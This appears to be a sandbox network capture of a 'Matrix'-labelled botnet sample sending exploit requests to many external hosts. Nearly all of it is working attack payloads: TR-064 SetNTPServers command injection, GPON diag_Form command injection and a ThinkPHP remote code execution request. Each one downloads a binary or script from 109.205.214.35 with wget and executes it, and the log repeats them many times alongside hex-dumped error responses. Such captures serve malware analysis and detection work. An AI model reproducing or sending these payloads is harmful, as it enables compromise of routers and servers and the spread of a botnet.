Mar 21, 2024 05:17:44.072366953 CET	516	IN	HTTP/1.0 400 Bad Request Content-Type: text/html Content-Length: 349 Connection: close Date: Thu, 21 Mar 2024 04:17:43 GMT Server: lighttpd/1.4.35 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 69 73 6f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 20 20 20 20 20 20 20 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 30 20 2d 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 3e 0a 20 20 3c 68 31 3e 34 30 30 20 2d 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>400 - Bad Request</title> </head> <body> <h1>400 - Bad Request</h1> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
524	192.168.2.13	34506	50.52.6.172	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:43.899935007 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
525	192.168.2.13	56790	88.99.87.192	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:43.938581944 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:17:45.011787891 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:17:46.259788990 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:17:46.455342054 CET	495	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:17:46 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 301 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 31 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.41 (Ubuntu) Server at 127.0.1.1 Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
526	192.168.2.13	37424	18.161.205.186	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:43.944411039 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:17:45.078860044 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:17:45.277139902 CET	1275	IN	HTTP/1.1 400 Bad Request Server: CloudFront Date: Thu, 21 Mar 2024 04:17:45 GMT Content-Type: text/html Content-Length: 915 Connection: close X-Cache: Error from cloudfront Via: 1.1 dcf71adaa3950cfd509ab6f953c96570.cloudfront.net (CloudFront) X-Amz-Cf-Pop: GIG51-P4 X-Amz-Cf-Id: ckynrkUWhjYaTF7Hh07bMLg05raiZR-I0KkVbI3O0x7PmXiGYlSzBA== Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 6c 6f 6f 73 65 2e 64 74 64 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 4f 4e 54 45 4e 54 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 3e 0a 3c 54 49 54 4c 45 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 73 61 74 69 73 66 69 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 34 30 30 20 45 52 52 4f 52 3c 2f 48 31 3e 0a 3c 48 32 3e 54 68 65 20 72 65 71 75 65 73 74 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 73 61 74 69 73 66 69 65 64 2e 3c 2f 48 32 3e 0a 3c 48 52 20 6e 6f 73 68 61 64 65 20 73 69 7a 65 3d 22 31 70 78 22 3e 0a 42 61 64 20 72 65 71 75 65 73 74 2e 0a 57 65 20 63 61 6e 27 74 20 63 6f 6e 6e 65 63 74 20 74 6f 20 74 68 65 20 73 65 72 76 65 72 20 66 6f 72 20 74 68 69 73 20 61 70 70 20 6f 72 20 77 65 62 73 69 74 65 20 61 74 20 74 68 69 73 20 74 69 6d 65 2e 20 54 68 65 72 65 20 6d 69 67 68 74 20 62 65 20 74 6f 6f 20 6d 75 63 68 20 74 72 61 66 66 69 63 20 6f 72 20 61 20 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 65 72 72 6f 72 2e 20 54 72 79 20 61 67 61 69 6e 20 6c 61 74 65 72 2c 20 6f 72 20 63 6f 6e 74 61 63 74 20 74 68 65 20 61 70 70 20 6f 72 20 77 65 62 73 69 74 65 20 6f 77 6e 65 72 2e 0a 3c 42 52 20 63 6c 65 61 72 3d 22 61 6c 6c 22 3e 0a 49 66 20 79 6f 75 20 70 72 6f 76 69 64 65 20 63 6f 6e 74 65 6e 74 20 74 6f 20 63 75 73 74 6f 6d 65 72 73 20 74 68 72 6f 75 67 68 20 43 6c 6f 75 64 46 72 6f 6e 74 2c 20 79 6f 75 20 63 61 6e 20 66 69 6e 64 20 73 74 65 70 73 20 74 6f 20 74 72 6f 75 62 6c 65 73 68 6f 6f 74 20 61 6e 64 20 68 65 6c 70 20 70 72 65 76 65 6e 74 20 74 68 69 73 20 65 72 72 6f 72 20 62 79 20 72 65 76 69 65 77 69 6e 67 20 74 68 65 20 43 6c 6f 75 64 46 72 6f 6e 74 20 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 0a 3c 42 52 20 63 6c 65 61 72 3d 22 61 6c 6c 22 3e 0a 3c 48 52 20 6e 6f 73 68 61 64 65 20 73 69 7a 65 3d 22 31 70 78 22 3e 0a 3c 50 52 45 3e 0a 47 65 6e 65 72 61 74 65 64 20 62 79 20 63 6c 6f 75 64 66 72 6f 6e 74 20 28 43 6c 6f 75 64 46 72 6f 6e 74 29 0a 52 65 71 75 65 73 74 20 49 44 3a 20 63 6b 79 6e 72 6b 55 57 68 6a 59 61 54 46 37 48 68 30 37 62 4d 4c 67 30 35 72 61 69 5a 52 2d 49 30 4b 6b 56 62 49 33 4f 30 78 37 50 6d 58 69 47 59 6c 53 7a 42 41 3d 3d 0a 3c 2f 50 52 45 3e 0a 3c 41 44 44 52 45 53 53 3e 0a 3c 2f 41 44 44 52 45 53 53 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><HTML><HEAD><META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1"><TITLE>ERROR: The request could not be satisfied</TITLE></HEAD><BODY><H1>400 ERROR</H1><H2>The request could not be satisfied.</H2><HR noshade size="1px">Bad request.We can't connect to the server for this app or website at this time. There might be too much traffic or a configuration error. Try again later, or contact the app or website owner.<BR clear="all">If you provide content to customers through CloudFront, you can find steps to troubleshoot and help prevent this error by reviewing the CloudFront documentation.<BR clear="all"><HR noshade size="1px"><PRE>Generated by cloudfront (CloudFront)Request ID: ckynrkUWhjYaTF7Hh07bMLg05raiZR-I0KkVbI3O0x7PmXiGYlSzBA==</PRE><ADDRESS></ADDRESS></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
527	192.168.2.13	54904	149.109.135.21	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:44.051225901 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:17:45.395920992 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:17:46.998874903 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:17:50.259943008 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:17:56.665455103 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:18:09.462945938 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:18:35.315818071 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
528	192.168.2.13	52548	112.215.184.57	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:44.087713003 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
529	192.168.2.13	34464	71.91.21.162	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:44.446436882 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
530	192.168.2.13	60620	31.136.194.193	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:44.456115961 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:17:47.699795961 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:17:53.843801022 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:18:05.875808001 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:18:31.219847918 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
531	192.168.2.13	54008	217.64.19.218	80

Timestamp	Bytes transferred	Direction	Data
